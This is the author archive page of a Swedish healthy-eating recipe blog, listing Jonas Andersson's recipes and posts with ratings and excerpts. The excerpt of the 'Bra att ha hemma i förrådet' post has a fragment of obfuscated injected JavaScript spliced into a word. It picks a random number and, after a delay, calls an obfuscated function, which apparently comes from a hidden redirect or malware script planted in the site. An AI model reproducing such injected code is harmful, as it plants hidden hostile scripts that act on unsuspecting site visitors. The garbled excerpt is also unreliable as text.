Författare: Jonas Andersson

Jonas Andersson

All Recipes and Posts by Jonas Andersson

_SAM0985

Lowcarb Carbonara

Genomsnittligt betyg: (4.5 / 5)

Ett hälsosammare alternativ till carbonaran

Läs mer
_SAM0905
_SAM0920

Svartvitlöks rostad kyckling

Genomsnittligt betyg: (0 / 5)

Härligt recept på kyckling för dig som gillar vitlök

Läs mer
_SAM0671
SAM_0426
_SAM0388

Entrecote med smörstekta rotfrukter i timjan & rostad potatis

Genomsnittligt betyg: (0.8 / 5)

Entrecote med smörstekta rotfrukter

Läs mer
_SAM0338

Black angus, entrecote med grillade grönsaker, rostad potatis och chipotlekräm.

Genomsnittligt betyg: (5 / 5)

200g entrecote 150g kvartad potatis 100g 1/2 bifftomat 100g halverad endiver 30g tjockt skivad rödlök Timjan 1st svartvitlöks klyfta (det ...

Läs mer
_SAM0358

Havre, chokladpudding. Frukost kicken.

Genomsnittligt betyg: (5 / 5)

En riktig frukost kick

Läs mer
_SAM0289

T-bone stek

Genomsnittligt betyg: (0 / 5)

Härlig stek med smak av vitlök

Läs mer

Gröna smoothies, mer än bara en grön drink.

By: | 0 Comments | On: September 8, 2013 | Category : Jonas Andersson, Skribenter, Uncategorized

SAMSUNG CSC

  Om du bara ska göra en enda hälsoförändring i ditt liv så rekommenderar jag att du ska börja dricka 1-2 gröna smoothies om dagen. En grön smoothie är gjord på olika sorters frukter, bär och grönsaker som med vatten sedan körs i mixer till en slät och len konsistens. Själv...

Read more
_SAM0254

Groddslaw med kalkon

Genomsnittligt betyg: (4.5 / 5)

Groddslaw med eller utan kalkon

Läs mer
_SAM0279

Kycklinglever stekt i svartvitlök

Genomsnittligt betyg: (4.7 / 5)

Kycklinglever med smak av vitlök

Läs mer
_SAM0261

Svartvitlöks masserad Black Angus (entrecote)

Genomsnittligt betyg: (4.5 / 5)

En härlig kötträtt med smak av vitlök

Läs mer

Bra att ha hemma i förrådet och saker att tänka på

By: | 0 Comments | On: September 7, 2013 | Category : Jonas Andersson, Skribenter

Photo_CD_15

Tänkte dela med mig lite av mina tankar, funderingar och andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra bra tips hur man lättast håller sig till en sund kost och inte dras till den mörka sidan.Jag älskar att improvisera i köket men jag vet att dom flesta vet inte vad...

Read more
_SAM0095

Kyckling med avokado, linsgrodd och spenatsallad.

Genomsnittligt betyg: (3 / 5)

100-200g kycklingbröst  50g hyvlad morot 50g skivor av broccolistammen 40g 3st skivad sparris 30g spenat 50g linsgroddar 40g tärnad avokado ...

Läs mer
_SAM0172

Lax med teriyakimarinerade linsgroddar

Genomsnittligt betyg: (3.7 / 5)

Lax med teriyakimarinerade linsgroddar och kålsallad

Läs mer
_SAM0148

Torsk, vattenmelon spenat och groddsallad.

Genomsnittligt betyg: (5 / 5)

Torsk med en härlig sallad

Läs mer
_SAM0134
_SAM0102

T-bone steak, rostad potatis, vitlöks/dragon dressing med rawsallad.

Tema:
Genomsnittligt betyg: (5 / 5)

T-bone steak med rostad potatis & rawsallad.

Läs mer
SAMSUNG CSC

Raw sallad

Tema:
Genomsnittligt betyg: (5 / 5)

En god raw sallad

Läs mer
SAMSUNG CSC

Kyckling med sötpotatis, portobello sallad och vitlökskräm.

Genomsnittligt betyg: (5 / 5)

Nyttigt recept på kyckling med Sötpotatis, fettsnål kycklingrätt

Läs mer
SAMSUNG CSC
SAMSUNG CSC

Jordgubb, balsamic protein kompott med hasselnötter.

Genomsnittligt betyg: (4.5 / 5)

Snabbt enkelt och gott, den är till två portioner med varför dela när du kan ha hela för dig själv.

Läs mer
IMG_1436

Pepparbiff, potatiskaka, grillad sparris och babymorötter med vitlökskräm.

Genomsnittligt betyg: (5 / 5)

200g innanlår rullad i grovkornig svartpeppar 100g potatis skivad med osthyvel 50g 3st halverad sparris 6st 50g babymorötter eller skivad ...

Läs mer
IMG_1428

Portobellosvamp och äggröra med kalkonbacon.

Genomsnittligt betyg: (5 / 5)

Det enkla frukostmålet

Läs mer
IMG_1420

Kalventrecote grillad, sötpotatispure med rostadvitlök i sommarprimörer med vitbalsamic.

Genomsnittligt betyg: (5 / 5)

Kalventrecote grillad, sötpotatispure med rostadvitlök i sommarprimörer med vitbalsamic.

Läs mer
IMG_1417

Rostad cocktailtomatkräm, kyckling, sparris och shirataki fettuccine toppad med parmesan.

Genomsnittligt betyg: (5 / 5)

Spännand